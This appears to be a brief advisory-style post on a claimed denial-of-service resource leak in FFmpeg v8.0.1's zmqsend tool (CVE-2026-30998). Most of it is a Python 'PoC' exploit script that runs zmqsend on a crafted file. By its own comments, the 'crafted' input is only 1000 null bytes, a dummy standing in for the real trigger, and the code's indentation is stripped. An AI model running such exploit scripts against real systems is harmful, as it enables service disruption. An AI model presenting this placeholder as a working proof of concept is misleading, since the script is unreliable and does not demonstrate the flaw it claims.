An improper resource deallocation and closure vulnerability in the tools/zmqsend.c component of FFmpeg v8.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted input file.
The following code is for security research and authorized testing only.
python
import subprocess
import os
# PoC for CVE-2026-30998
# This script demonstrates triggering the resource leak in FFmpeg's zmqsend tool.
def generate_crafted_input(filename):
"""Generate a crafted input file that may trigger the vulnerability."""
# In a real scenario, specific bytes or structure are required.
# Here we create a dummy file to simulate the attack vector.
with open(filename, 'wb') as f:
f.write(b'\x00' * 1000)
def exploit():
input_file = 'crafted_input.bin'
generate_crafted_input(input_file)
# Path to the vulnerable zmqsend binary
zmqsend_path = './ffmpeg/tools/zmqsend'
if os.path.exists(zmqsend_path):
print(f"[*] Triggering {zmqsend_path} with crafted input...")
try:
# Execute the vulnerable component with the crafted input
# The vulnerability occurs when the tool processes the file and fails to close resources
subprocess.call([zmqsend_path, '-f', input_file])
print("[+] Execution finished. Check system resources (lsof) for leaks.")
except Exception as e:
print(f"[-] Error during execution: {e}")
else:
print(f"[-] Binary not found at {zmqsend_path}")
if __name__ == '__main__':
exploit()